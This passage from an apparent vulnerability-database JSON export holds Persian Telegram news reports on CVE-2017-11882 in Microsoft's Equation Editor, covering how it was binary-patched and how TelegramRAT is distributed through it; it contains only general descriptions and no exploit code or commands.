\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7\u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc ACROS \u0627\u0638\u0647\u0627\u0631 \u062f\u0627\u0634\u062a\u0646\u062f: \u00ab\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062f\u0631 \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u0646\u062f.\u00bb\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0639\u0646\u0648\u0627\u0646 \u00abMicrosoft Patch Tuesday\u00bb \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f4 \u0646\u0648\u0627\u0645\u0628\u0631 \u0648\u0635\u0644\u0647 \u0634\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a Embedi \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06a9\u0647 \u0627\u0632 \u062a\u0627\u0631\u06cc\u062e \u06f9 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0627\u0646\u062f\u0647 \u0628\u0648\u062f\u060c \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u06af\u0631\u0648\u0647 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062a\u0627\u0631\u06cc\u062e \u062a\u062f\u0648\u06cc\u0646 \u062c\u062f\u06cc\u062f \u06f2\u06f0\u06f1\u06f7\u066b\u06f8\u066b\u06f1\u06f4 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0645\u0634\u0627\u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0627\u0633\u062a.\n\u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u0644\u0627\u0632\u0645 \u0631\u0627 \u0631\u0648\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0627\u062f \u0648 \u0633\u067e\u0633 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0622\u0646\u200c\u0631\u0627 \u062f\u0648\u0628\u0627\u0631\u0647 \u0645\u06cc\u200c\u0633\u0627\u062e\u062a\u060c \u0645\u0645\u06a9\u0646 \u0646\u0628\u0648\u062f \u06a9\u0647 \u06a9\u062f \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u0628\u0644\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f. \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062c\u0627\u0645 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a\u06cc \u0631\u0648\u06cc \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0641\u0642\u0637 \u062f\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0646\u0633\u062e\u0647 \u0642\u0628\u0644\u06cc \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS\u060c Mitja Kolsek \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u062f: \u00ab\u067e\u06cc\u0645\u0627\u0646\u200c\u06a9\u0627\u0631\u0627\u0646 \u0648 \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0633\u06cc\u0627\u0631 \u0645\u0627\u0647\u0631\u0627\u0646\u0647 \u0631\u0648\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f \u0646\u0627\u0642\u0635 \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f\u060c \u06a9\u062f\u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0631\u0627 \u0628\u0627 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0647\u062a\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n\ud83d\udc48\ud83c\udffb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u062f\u0631\u0628\u0627\u0631\u0647\u200c\u06cc \u0646\u062d\u0648\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631\u06cc \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0628\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0627\u062b\u0628\u0627\u062a \u0645\u06cc\u200c\u0634\u0648\u062f. \u0647\u06cc\u0686 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc C \u06cc\u0627 C++ \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u060c \u062a\u0645\u0627\u0645 \u062a\u0648\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0645\u0627\u0698\u0648\u0644 \u0631\u0627 \u062f\u0631 \u0647\u0645\u0627\u0646 \u0622\u062f\u0631\u0633 \u0642\u0628\u0644\u06cc \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u062f\u0647\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0646\u062a\u0627\u06cc\u062c BinDiff (\u0627\u0628\u0632\u0627\u0631 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc) \u0628\u06cc\u0646 \u062f\u0648 \u067e\u0631\u0648\u0646\u062f\u0647 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0648\u0644\u06cc\u0647\u200c\u06cc EA \u0628\u0627 \u0645\u0642\u0627\u062f\u0631 \u062b\u0627\u0646\u0648\u06cc\u0647\u200c\u06cc EA \u062a\u0648\u0627\u0628\u0639 \u062a\u0637\u0628\u06cc\u0642\u200c\u06cc\u0627\u0641\u062a\u0647 \u06cc\u06a9\u0633\u0627\u0646 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062a\u06cc \u062a\u0648\u0627\u0628\u0639 \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u062f\u0627\u0631\u0627\u06cc \u0622\u062f\u0631\u0633\u200c\u200c\u0647\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u062f\u0648 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0647\u0633\u062a\u0646\u062f.\n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0631\u0631\u0633\u06cc \u0646\u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u062d\u062c\u0645 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647\u200c\u06cc \u0631\u0634\u062a\u0647\u200c\u06cc \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0627\u0631\u062f \u06cc\u0627 \u062e\u06cc\u0631. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0627\u06af\u0631 \u0646\u0627\u0645 \u0641\u0648\u0646\u062a\u200c \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0634\u062f\u0647 \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u062e\u06cc\u0644\u06cc \u0628\u0632\u0631\u06af \u0628\u0627\u0634\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0646\u062c\u0631\u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0634\u0648\u062f.\n\n\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631\u060c \u06cc\u06a9 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062f\u06cc\u06af\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0636\u0627\u0641\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0627 \u062f\u0631 \u062e\u0648\u062f \u0646\u06af\u0647 \u0645\u06cc\u200c\u062f\u0627\u0631\u062f\u060c \u0648 \u0648\u0642\u062a\u06cc \u0634\u0645\u0627\u0631\u0646\u062f\u0647\u200c\u06cc \u062d\u0644\u0642\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647\u200c\u06cc \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0631\u0633\u06cc\u062f\u060c \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062d\u0644\u0642\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u0631\u0633\u062f. Kolsek \u062e\u0627\u0637\u0631 \u0646\u0634\u0627\u0646 \u06a9\u0631\u062f:\n\u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0628\u0631\u0633\u062f\u060c \u0631\u0634\u062a\u0647 \u0627\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u0622\u0646 \u062f\u0631 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0627 \u0635\u0641\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u200c\u067e\u0630\u06cc\u0631\u062f (\u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0645\u0634\u062e\u0635 \u0634\u0648\u062f \u06a9\u0647 \u062a\u0647\u06cc\u0647\u200c\u06cc \u0631\u0648\u0646\u0648\u0634\u062a \u0627\u0632 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0647 \u067e\u0627\u06cc\u0627\u0646 \u0646\u0631\u0633\u06cc\u062f\u0647 \u0627\u0633\u062a).\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u0627\u06cc \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u062d\u062c\u0645 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0627 \u06f1\u06f4 \u0628\u0627\u06cc\u062a \u06a9\u0645\u062a\u0631 \u06a9\u0646\u0646\u062f. \u0645\u0647\u0645\u200c\u062a\u0631 \u0627\u0632 \u0647\u0645\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u062a\u0648\u0627\u0628\u0639 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0622\u0646\u200c\u0647\u0627 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a \u0631\u0627 \u0646\u06cc\u0632 \u0648\u0635\u0644\u0647 \u06a9\u0646\u0646\u062f.\u00bb\n\n\u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u060c \u062f\u0631\u0633\u062a \u0642\u0628\u0644 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc memcpy (\u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u0632 \u062d\u0627\u0641\u0638\u0647 \u0631\u0627 \u062f\u0631 \u0622\u062f\u0631\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u200c\u062f\u0647\u062f) \u0628\u0631\u0631\u0633\u06cc\u200c \u0645\u062d\u062f\u0648\u062f\u0647 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f. Kolsek \u06af\u0641\u062a: \u00ab\u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u062d\u062f \u062f\u0631 \u0647\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0648 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0627\u0632 \u0646\u0638\u0631 \u0645\u0646\u0637\u0642\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0628\u0627\u0634\u062f\u060c \u0627\u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0648\u062f\u0646 \u06a9\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0622\u0646\u200c\u0647\u0627 \u062a\u0647\u06cc\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0641\u0636\u0627\u06cc \u062e\u0627\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-30T00:03:12.341932Z"}, {"uuid": "9ac86948-3489-4fff-922e-4917cd192664", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/7318", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631 TelegramRAT \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0622\u0641\u06cc\u0633 \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062a\u0644\u06af\u0631\u0627\u0645 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0634\u0631\u06a9\u062a Netskope \u0647\u0634\u062f\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0631\u0648\u062c\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u06a9\u0634\u0641 \u0634\u062f \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0633\u0646\u0627\u062f\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u062f\u0631 \u0648\u0627\u0642\u0639 TelegramRAT\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0631\u0627\u06cc \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0633\u062a\u0631 \u0630\u062e\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u0628\u0631\u06cc \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0648\u062f \u0631\u0627 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0631\u062e\u06cc \u0627\u0632 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b 